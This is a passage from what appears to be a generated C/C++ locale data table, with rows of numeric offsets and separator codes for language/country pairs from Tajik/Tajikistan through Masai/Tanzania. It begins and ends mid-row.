43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 13484,48 , 13532,71 , 1483,27 , 13635,48 , 13683,71 , 134,27 , 8780,28 , 8808,55 , 798,14 , 8780,28 , 8808,55 , 798,14 , 0,2 , 0,2 }, // Tajik/Tajikistan + { 117, 100, 46, 44, 59, 37, 48, 45, 43, 101, 606,6 , 191,15 , 18,7 , 25,15 , 13603,58 , 13661,86 , 13747,31 , 13754,58 , 13812,86 , 13898,31 , 8863,20 , 8883,49 , 8863,20 , 8863,20 , 8883,49 , 8863,20 , 122,2 , 121,2 }, // Tamil/India + { 117, 198, 46, 44, 59, 37, 48, 45, 43, 101, 606,6 , 191,15 , 18,7 , 25,15 , 13603,58 , 13661,86 , 13747,31 , 13754,58 , 13812,86 , 13898,31 , 8863,20 , 8883,49 , 8863,20 , 8863,20 , 8883,49 , 8863,20 , 122,2 , 121,2 }, // Tamil/SriLanka + { 118, 178, 44, 160, 59, 37, 48, 45, 43, 101, 865,10 , 1015,8 , 196,4 , 25,15 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Tatar/RussianFederation + { 119, 100, 46, 44, 59, 37, 48, 45, 43, 101, 492,8 , 90,13 , 18,7 , 25,15 , 13778,86 , 13778,86 , 13864,30 , 13929,86 , 13929,86 , 14015,30 , 8932,32 , 8964,60 , 9024,18 , 8932,32 , 8964,60 , 9024,18 , 0,2 , 0,2 }, // Telugu/India + { 120, 211, 46, 44, 59, 37, 48, 45, 43, 101, 334,8 , 1023,18 , 196,4 , 640,30 , 13894,63 , 13957,98 , 13894,63 , 14045,63 , 14108,98 , 14206,24 , 9042,23 , 9065,68 , 9133,14 , 9042,23 , 9065,68 , 9133,14 , 264,10 , 259,10 }, // Thai/Thailand + { 121, 44, 46, 44, 59, 37, 3872, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 14055,63 , 14118,158 , 1483,27 , 14230,63 , 14293,158 , 134,27 , 9147,49 , 9196,77 , 9273,21 , 9147,49 , 9196,77 , 9273,21 , 274,7 , 269,8 }, // Tibetan/China + { 121, 100, 46, 44, 59, 37, 3872, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 14055,63 , 14118,158 , 1483,27 , 14230,63 , 14293,158 , 134,27 , 9147,49 , 9196,77 , 9273,21 , 9147,49 , 9196,77 , 9273,21 , 274,7 , 269,8 }, // Tibetan/India + { 122, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1041,22 , 18,7 , 25,15 , 14276,46 , 14322,54 , 1034,24 , 14451,46 , 14497,54 , 1061,24 , 9294,29 , 9294,29 , 9323,14 , 9294,29 , 9294,29 , 9323,14 , 281,7 , 277,7 }, // Tigrinya/Eritrea + { 122, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1063,22 , 18,7 , 25,15 , 926,46 , 972,62 , 1034,24 , 953,46 , 999,62 , 1061,24 , 9337,29 , 9337,29 , 9323,14 , 9337,29 , 9337,29 , 9323,14 , 281,7 , 277,7 }, // Tigrinya/Ethiopia + { 123, 214, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 90,13 , 40,5 , 45,13 , 14376,51 , 14427,87 , 14514,24 , 14551,51 , 14602,87 , 14689,24 , 9366,29 , 9395,60 , 9455,14 , 9366,29 , 9395,60 , 9455,14 , 0,2 , 0,2 }, // Tonga/Tonga + { 124, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 14538,48 , 14586,122 , 1483,27 , 14713,48 , 14761,122 , 134,27 , 9469,27 , 9496,72 , 798,14 , 9469,27 , 9496,72 , 798,14 , 0,2 , 0,2 }, // Tsonga/SouthAfrica + { 125, 217, 44, 46, 59, 37, 48, 45, 43, 101, 865,10 , 1085,14 , 40,5 , 45,13 , 14708,48 , 14756,75 , 14831,24 , 14883,48 , 14931,75 , 15006,24 , 9568,28 , 9596,54 , 9650,14 , 9568,28 , 9596,54 , 9650,14 , 0,2 , 0,2 }, // Turkish/Turkey + { 128, 44, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Uigur/China + { 129, 222, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 1099,19 , 40,5 , 45,13 , 14855,48 , 14903,95 , 14998,24 , 15030,67 , 15097,87 , 15184,24 , 9664,21 , 9685,56 , 9741,14 , 9664,21 , 9685,56 , 9741,14 , 288,2 , 284,2 }, // Ukrainian/Ukraine + { 130, 100, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 1118,15 , 18,7 , 25,15 , 15022,67 , 15022,67 , 10111,24 , 15208,67 , 15208,67 , 10250,24 , 9755,36 , 9755,36 , 9791,14 , 9755,36 , 9755,36 , 9791,14 , 0,2 , 0,2 }, // Urdu/India + { 130, 163, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 1118,15 , 18,7 , 25,15 , 15022,67 , 15022,67 , 10111,24 , 15208,67 , 15208,67 , 10250,24 , 9755,36 , 9755,36 , 9791,14 , 9755,36 , 9755,36 , 9791,14 , 0,2 , 0,2 }, // Urdu/Pakistan + { 131, 228, 44, 160, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 13484,48 , 15089,115 , 11247,24 , 13635,48 , 15275,115 , 11391,24 , 9805,28 , 9833,53 , 9886,14 , 9805,28 , 9833,53 , 9886,14 , 0,2 , 0,2 }, // Uzbek/Uzbekistan + { 131, 1, 44, 46, 59, 1642, 1776, 8722, 43, 101, 816,8 , 1133,30 , 196,4 , 526,14 , 15204,48 , 15252,68 , 11247,24 , 15390,48 , 10182,68 , 11391,24 , 9900,21 , 6558,49 , 9886,14 , 9900,21 , 6558,49 , 9886,14 , 0,2 , 0,2 }, // Uzbek/Afghanistan + { 132, 232, 44, 46, 59, 37, 48, 45, 43, 101, 126,10 , 1163,28 , 40,5 , 45,13 , 15320,75 , 15395,130 , 1483,27 , 15438,75 , 15513,130 , 134,27 , 9921,33 , 9954,55 , 10009,21 , 9921,33 , 9954,55 , 10009,21 , 290,2 , 286,2 }, // Vietnamese/VietNam + { 134, 224, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 111,15 , 18,7 , 25,15 , 15525,53 , 15578,87 , 15665,24 , 15643,62 , 15705,86 , 15791,24 , 10030,29 , 10059,77 , 10136,14 , 10150,30 , 10059,77 , 10136,14 , 0,2 , 0,2 }, // Welsh/UnitedKingdom + { 135, 187, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Wolof/Senegal + { 136, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 15689,48 , 15737,91 , 1483,27 , 15815,48 , 15863,91 , 134,27 , 10180,28 , 10208,61 , 798,14 , 10180,28 , 10208,61 , 798,14 , 0,2 , 0,2 }, // Xhosa/SouthAfrica + { 138, 157, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 15828,73 , 15901,121 , 1483,27 , 15954,73 , 16027,121 , 134,27 , 10269,44 , 10313,69 , 798,14 , 10269,44 , 10313,69 , 798,14 , 292,5 , 288,5 }, // Yoruba/Nigeria + { 140, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 76,14 , 18,7 , 25,15 , 16022,48 , 16070,104 , 134,24 , 16148,48 , 16196,90 , 320,24 , 10382,28 , 10410,68 , 10478,14 , 10382,28 , 10410,68 , 10478,14 , 0,2 , 0,2 }, // Zulu/SouthAfrica + { 141, 161, 44, 160, 59, 37, 48, 8722, 43, 101, 305,8 , 554,14 , 40,5 , 507,19 , 3915,48 , 9527,83 , 134,24 , 3967,48 , 9595,83 , 320,24 , 10492,28 , 10520,51 , 2228,14 , 10492,28 , 10520,51 , 2228,14 , 297,9 , 293,11 }, // Nynorsk/Norway + { 142, 27, 44, 46, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 16174,48 , 16222,83 , 1483,27 , 16286,48 , 16334,83 , 134,27 , 10571,28 , 10599,58 , 798,14 , 10571,28 , 10599,58 , 798,14 , 0,2 , 0,2 }, // Bosnian/BosniaAndHerzegowina + { 143, 131, 46, 44, 44, 37, 48, 45, 43, 101, 606,6 , 90,13 , 380,8 , 388,16 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Divehi/Maldives + { 144, 224, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 76,14 , 40,5 , 45,13 , 16305,102 , 16407,140 , 1483,27 , 16417,102 , 16519,140 , 134,27 , 10657,30 , 10687,57 , 798,14 , 10657,30 , 10687,57 , 798,14 , 49,4 , 49,4 }, // Manx/UnitedKingdom + { 145, 224, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 90,13 , 40,5 , 45,13 , 16547,46 , 16593,124 , 1483,27 , 16659,46 , 16705,124 , 134,27 , 10744,28 , 10772,60 , 798,14 , 10744,28 , 10772,60 , 798,14 , 49,4 , 49,4 }, // Cornish/UnitedKingdom + { 146, 83, 46, 160, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 16717,48 , 16765,192 , 1483,27 , 16829,48 , 16877,192 , 134,27 , 10832,28 , 10860,49 , 10909,14 , 10832,28 , 10860,49 , 10909,14 , 306,2 , 304,2 }, // Akan/Ghana + { 147, 100, 46, 44, 59, 37, 48, 45, 43, 101, 606,6 , 90,13 , 18,7 , 25,15 , 16957,87 , 16957,87 , 1483,27 , 17069,87 , 17069,87 , 134,27 , 6029,32 , 10923,55 , 798,14 , 6029,32 , 10923,55 , 798,14 , 308,5 , 306,5 }, // Konkani/India + { 148, 83, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 17044,48 , 17092,94 , 1483,27 , 17156,48 , 17204,94 , 134,27 , 10978,26 , 11004,34 , 798,14 , 10978,26 , 11004,34 , 798,14 , 0,2 , 0,2 }, // Ga/Ghana + { 149, 157, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 17186,48 , 17234,86 , 1483,27 , 17298,48 , 17346,86 , 134,27 , 11038,29 , 11067,57 , 798,14 , 11038,29 , 11067,57 , 798,14 , 313,4 , 311,4 }, // Igbo/Nigeria + { 150, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 17320,48 , 17368,189 , 17557,24 , 17432,48 , 17480,189 , 17669,24 , 11124,28 , 11152,74 , 11226,14 , 11124,28 , 11152,74 , 11226,14 , 317,9 , 315,7 }, // Kamba/Kenya + { 151, 207, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 1191,10 , 464,4 , 25,15 , 17581,65 , 17581,65 , 1483,27 , 17693,65 , 17693,65 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Syriac/SyrianArabRepublic + { 152, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1201,21 , 18,7 , 25,15 , 17646,47 , 17693,77 , 17770,24 , 17758,47 , 17805,77 , 17882,24 , 11240,26 , 11266,43 , 11309,14 , 11240,26 , 11266,43 , 11309,14 , 0,2 , 0,2 }, // Blin/Eritrea + { 153, 67, 46, 4808, 59, 37, 48, 45, 43, 101, 27,8 , 1222,22 , 18,7 , 25,15 , 17794,49 , 17794,49 , 17843,24 , 17906,49 , 17906,49 , 17955,24 , 11323,29 , 11323,29 , 11352,14 , 11323,29 , 11323,29 , 11352,14 , 0,2 , 0,2 }, // Geez/Eritrea + { 153, 69, 46, 4808, 59, 37, 48, 45, 43, 101, 27,8 , 1222,22 , 18,7 , 25,15 , 17794,49 , 17794,49 , 17843,24 , 17906,49 , 17906,49 , 17955,24 , 11323,29 , 11323,29 , 11352,14 , 11323,29 , 11323,29 , 11352,14 , 0,2 , 0,2 }, // Geez/Ethiopia + { 154, 53, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 17867,48 , 17915,124 , 1483,27 , 17979,48 , 18027,124 , 134,27 , 11366,28 , 11394,54 , 798,14 , 11366,28 , 11394,54 , 798,14 , 0,2 , 0,2 }, // Koro/IvoryCoast + { 155, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 11448,28 , 11476,51 , 11527,14 , 11448,28 , 11476,51 , 11527,14 , 0,2 , 0,2 }, // Sidamo/Ethiopia + { 156, 157, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 18039,59 , 18098,129 , 1483,27 , 18151,59 , 18210,129 , 134,27 , 11541,35 , 11576,87 , 798,14 , 11541,35 , 11576,87 , 798,14 , 0,2 , 0,2 }, // Atsam/Nigeria + { 157, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1244,20 , 18,7 , 25,15 , 926,46 , 972,62 , 1034,24 , 953,46 , 999,62 , 1061,24 , 11663,27 , 11690,41 , 11731,14 , 11663,27 , 11690,41 , 11731,14 , 0,2 , 0,2 }, // Tigre/Eritrea + { 158, 157, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 18227,57 , 18284,178 , 1483,27 , 18339,57 , 18396,178 , 134,27 , 11745,28 , 11773,44 , 798,14 , 11745,28 , 11773,44 , 798,14 , 0,2 , 0,2 }, // Jju/Nigeria + { 159, 106, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 1264,24 , 40,5 , 45,13 , 18462,48 , 18510,77 , 18587,24 , 18574,48 , 18622,77 , 18699,24 , 11817,28 , 11845,50 , 2799,14 , 11817,28 , 11845,50 , 2799,14 , 0,2 , 0,2 }, // Friulian/Italy + { 160, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 18611,48 , 18659,111 , 1483,27 , 18723,48 , 18771,111 , 134,27 , 11895,27 , 11922,70 , 798,14 , 11895,27 , 11922,70 , 798,14 , 0,2 , 0,2 }, // Venda/SouthAfrica + { 161, 83, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 18770,48 , 18818,87 , 18905,24 , 18882,48 , 18930,87 , 19017,24 , 11992,32 , 12024,44 , 12068,14 , 11992,32 , 12024,44 , 12068,14 , 306,2 , 304,2 }, // Ewe/Ghana + { 161, 212, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 18770,48 , 18818,87 , 18905,24 , 18882,48 , 18930,87 , 19017,24 , 11992,32 , 12024,44 , 12068,14 , 11992,32 , 12024,44 , 12068,14 , 306,2 , 304,2 }, // Ewe/Togo + { 162, 69, 46, 8217, 59, 37, 48, 45, 43, 101, 27,8 , 1288,21 , 18,7 , 25,15 , 926,46 , 972,62 , 1034,24 , 953,46 , 999,62 , 1061,24 , 12082,27 , 12082,27 , 12109,14 , 12082,27 , 12082,27 , 12109,14 , 0,2 , 0,2 }, // Walamo/Ethiopia + { 163, 225, 46, 44, 59, 37, 48, 45, 43, 101, 258,6 , 136,14 , 18,7 , 25,15 , 18929,59 , 18988,95 , 1483,27 , 19041,59 , 19100,95 , 134,27 , 12123,21 , 12144,57 , 798,14 , 12123,21 , 12144,57 , 798,14 , 0,2 , 0,2 }, // Hawaiian/UnitedStates + { 164, 157, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 19083,48 , 19131,153 , 1483,27 , 19195,48 , 19243,153 , 134,27 , 12201,28 , 12229,42 , 798,14 , 12201,28 , 12229,42 , 798,14 , 0,2 , 0,2 }, // Tyap/Nigeria + { 165, 129, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 19284,48 , 19332,91 , 1483,27 , 19396,48 , 19444,91 , 134,27 , 12271,28 , 12299,67 , 798,14 , 12271,28 , 12299,67 , 798,14 , 0,2 , 0,2 }, // Chewa/Malawi + { 166, 170, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 1309,15 , 40,5 , 45,13 , 19423,48 , 19471,88 , 19559,24 , 19535,48 , 19583,88 , 19671,24 , 12366,28 , 12394,55 , 12449,14 , 12463,28 , 12394,55 , 12449,14 , 0,2 , 0,2 }, // Filipino/Philippines + { 167, 206, 46, 8217, 59, 37, 48, 8722, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 19583,48 , 19631,86 , 134,24 , 4729,48 , 19695,86 , 320,24 , 12491,28 , 12519,63 , 3089,14 , 12491,28 , 12519,63 , 3089,14 , 326,5 , 322,4 }, // Swiss German/Switzerland + { 168, 44, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 19717,38 , 1483,27 , 134,27 , 19781,38 , 134,27 , 12582,21 , 12603,28 , 12631,14 , 12582,21 , 12603,28 , 12631,14 , 331,2 , 326,2 }, // Sichuan Yi/China + { 169, 91, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Kpelle/Guinea + { 169, 121, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Kpelle/Liberia + { 170, 82, 44, 46, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Low German/Germany + { 171, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 19755,48 , 19803,100 , 1483,27 , 19819,48 , 19867,100 , 134,27 , 12645,27 , 12672,66 , 798,14 , 12645,27 , 12672,66 , 798,14 , 0,2 , 0,2 }, // South Ndebele/SouthAfrica + { 172, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 19903,48 , 19951,94 , 1483,27 , 19967,48 , 20015,94 , 134,27 , 12738,27 , 12765,63 , 798,14 , 12738,27 , 12765,63 , 798,14 , 0,2 , 0,2 }, // Northern Sotho/SouthAfrica + { 173, 73, 44, 160, 59, 37, 48, 8722, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 20045,85 , 20130,145 , 20275,24 , 20109,85 , 20194,145 , 20339,24 , 12828,33 , 12861,65 , 12926,14 , 12828,33 , 12861,65 , 12926,14 , 0,2 , 0,2 }, // Northern Sami/Finland + { 173, 161, 44, 160, 59, 37, 48, 8722, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 20299,59 , 20130,145 , 20275,24 , 20363,59 , 20194,145 , 20339,24 , 12828,33 , 12940,75 , 13015,14 , 12828,33 , 12940,75 , 13015,14 , 0,2 , 0,2 }, // Northern Sami/Norway + { 174, 208, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 20358,48 , 20406,142 , 20548,24 , 20422,48 , 20470,142 , 20612,24 , 13029,28 , 13057,172 , 13229,14 , 13029,28 , 13057,172 , 13229,14 , 0,2 , 0,2 }, // Taroko/Taiwan + { 175, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 20572,48 , 20620,88 , 20708,24 , 20636,48 , 20684,88 , 20772,24 , 13243,28 , 13271,62 , 13333,14 , 13243,28 , 13271,62 , 13333,14 , 333,5 , 328,10 }, // Gusii/Kenya + { 176, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 20732,48 , 20780,221 , 21001,24 , 20796,48 , 20844,221 , 21065,24 , 13347,28 , 13375,106 , 13481,14 , 13347,28 , 13375,106 , 13481,14 , 338,10 , 338,10 }, // Taita/Kenya + { 177, 187, 44, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 21025,48 , 21073,77 , 21150,24 , 21089,48 , 21137,77 , 21214,24 , 13495,28 , 13523,59 , 13582,14 , 13495,28 , 13523,59 , 13582,14 , 348,6 , 348,7 }, // Fulah/Senegal + { 178, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 21174,48 , 21222,185 , 21407,24 , 21238,48 , 21286,185 , 21471,24 , 13596,28 , 13624,63 , 13687,14 , 13596,28 , 13624,63 , 13687,14 , 354,6 , 355,8 }, // Kikuyu/Kenya + { 179, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 21431,48 , 21479,173 , 21652,24 , 21495,48 , 21543,173 , 21716,24 , 13701,28 , 13729,105 , 13834,14 , 13701,28 , 13729,105 , 13834,14 , 360,7 , 363,5 }, // Samburu/Kenya + { 180, 146, 44, 46, 59, 37, 48, 45, 43, 101, 334,8 , 841,24 , 40,5 , 45,13 , 21676,48 , 21724,88 , 134,24 , 21740,48 , 21788,88 , 320,24 , 13848,28 , 13876,55 , 13931,14 , 13848,28 , 13876,55 , 13931,14 , 0,2 , 0,2 }, // Sena/Mozambique + { 181, 240, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 21812,48 , 21860,112 , 21972,24 , 21876,48 , 21924,112 , 22036,24 , 13945,28 , 13973,50 , 14023,14 , 13945,28 , 13973,50 , 14023,14 , 0,2 , 0,2 }, // North Ndebele/Zimbabwe + { 182, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 21996,39 , 22035,194 , 22229,24 , 22060,39 , 22099,194 , 22293,24 , 14037,28 , 14065,65 , 14130,14 , 14037,28 , 14065,65 , 14130,14 , 367,8 , 368,7 }, // Rombo/Tanzania + { 183, 145, 44, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 22253,48 , 22301,81 , 22382,24 , 22317,48 , 22365,81 , 22446,24 , 14144,30 , 14174,48 , 798,14 , 14144,30 , 14174,48 , 798,14 , 375,6 , 375,8 }, // Tachelhit/Morocco + { 184, 3, 44, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 22406,48 , 22454,84 , 22538,24 , 22470,48 , 22518,84 , 22602,24 , 14222,30 , 14252,51 , 14303,14 , 14222,30 , 14252,51 , 14303,14 , 381,7 , 383,9 }, // Kabyle/Algeria + { 185, 221, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 22562,48 , 22610,152 , 134,24 , 22626,48 , 22674,152 , 320,24 , 14317,28 , 14345,74 , 14419,14 , 14317,28 , 14345,74 , 14419,14 , 0,2 , 0,2 }, // Nyankole/Uganda + { 186, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 22762,48 , 22810,254 , 23064,24 , 22826,48 , 22874,254 , 23128,24 , 14433,28 , 14461,82 , 14543,14 , 14433,28 , 14461,82 , 14543,14 , 388,7 , 392,7 }, // Bena/Tanzania + { 187, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 23088,87 , 134,24 , 13417,48 , 23152,87 , 320,24 , 14557,28 , 14585,62 , 14647,14 , 14557,28 , 14585,62 , 14647,14 , 395,5 , 399,9 }, // Vunjo/Tanzania + { 188, 132, 46, 44, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 23175,47 , 23222,92 , 23314,24 , 23239,47 , 23286,92 , 23378,24 , 14661,28 , 14689,44 , 14733,14 , 14661,28 , 14689,44 , 14733,14 , 0,2 , 0,2 }, // Bambara/Mali + { 189, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 23338,48 , 23386,207 , 23593,24 , 23402,48 , 23450,207 , 23657,24 , 14747,28 , 14775,64 , 14839,14 , 14747,28 , 14775,64 , 14839,14 , 400,2 , 408,2 }, // Embu/Kenya + { 190, 225, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 35,15 , 18,7 , 25,15 , 23617,36 , 23653,58 , 23711,24 , 23681,36 , 23717,58 , 23775,24 , 14853,28 , 14881,49 , 14930,14 , 14853,28 , 14881,49 , 14930,14 , 402,3 , 410,6 }, // Cherokee/UnitedStates + { 191, 137, 46, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 23735,47 , 23782,68 , 23850,24 , 23799,47 , 23846,68 , 23914,24 , 14944,27 , 14971,48 , 15019,14 , 14944,27 , 14971,48 , 15019,14 , 0,2 , 0,2 }, // Morisyen/Mauritius + { 192, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 23874,264 , 134,24 , 13417,48 , 23938,264 , 320,24 , 15033,28 , 15061,133 , 14130,14 , 15033,28 , 15061,133 , 14130,14 , 405,4 , 416,5 }, // Makonde/Tanzania + { 193, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24138,83 , 24221,111 , 24332,24 , 24202,83 , 24285,111 , 24396,24 , 15194,36 , 15230,63 , 15293,14 , 15194,36 , 15230,63 , 15293,14 , 409,3 , 421,3 }, // Langi/Tanzania + { 194, 221, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24356,48 , 24404,97 , 134,24 , 24420,48 , 24468,97 , 320,24 , 15307,28 , 15335,66 , 15401,14 , 15307,28 , 15335,66 , 15401,14 , 0,2 , 0,2 }, // Ganda/Uganda + { 195, 239, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24501,48 , 24549,83 , 24632,24 , 24565,48 , 24613,83 , 24696,24 , 15415,80 , 15415,80 , 798,14 , 15415,80 , 15415,80 , 798,14 , 412,8 , 424,7 }, // Bemba/Zambia + { 196, 39, 44, 46, 59, 37, 48, 45, 43, 101, 334,8 , 841,24 , 40,5 , 45,13 , 24656,48 , 24704,86 , 134,24 , 24720,48 , 24768,86 , 320,24 , 15495,28 , 15523,73 , 15596,14 , 15495,28 , 15523,73 , 15596,14 , 122,2 , 121,2 }, // Kabuverdianu/CapeVerde + { 197, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24790,48 , 24838,86 , 24924,24 , 24854,48 , 24902,86 , 24988,24 , 15610,28 , 15638,51 , 15689,14 , 15610,28 , 15638,51 , 15689,14 , 420,2 , 431,2 }, // Meru/Kenya + { 198, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24948,48 , 24996,111 , 25107,24 , 25012,48 , 25060,111 , 25171,24 , 15703,28 , 15731,93 , 15824,14 , 15703,28 , 15731,93 , 15824,14 , 422,4 , 433,4 }, // Kalenjin/Kenya + { 199, 148, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 0,48 , 25131,136 , 134,24 , 0,48 , 25195,136 , 320,24 , 15838,23 , 15861,92 , 15953,14 , 15838,23 , 15861,92 , 15953,14 , 426,7 , 437,5 }, // Nama/Namibia + { 200, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 23088,87 , 134,24 , 13417,48 , 23152,87 , 320,24 , 14557,28 , 14585,62 , 14647,14 , 14557,28 , 14585,62 , 14647,14 , 395,5 , 399,9 }, // Machame/Tanzania + { 201, 82, 44, 160, 59, 37, 48, 8722, 43, 101, 1324,10 , 1334,20 , 40,5 , 45,13 , 25267,59 , 25326,87 , 134,24 , 25331,59 , 25390,87 , 320,24 , 15967,28 , 15995,72 , 3089,14 , 15967,28 , 15995,72 , 3089,14 , 0,2 , 0,2 }, // Colognian/Germany + { 202, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25413,51 , 25464,132 , 1483,27 , 25477,51 , 25528,132 , 134,27 , 14557,28 , 16067,58 , 14130,14 , 14557,28 , 16067,58 , 14130,14 , 433,9 , 442,6 }, // Masai/Kenya + { 202, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25413,51 , 25464,132 , 1483,27 , 25477,51 , 25528,132 , 134,27 , 14557,28 , 16067,58 , 14130,14 , 14557,28 , 16067,58 , 14130,14 , 433,9 , 442,6 }, // Masai/Tanzania + { 203, 221, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 24356,48 , 24404,97 , 134,24 , 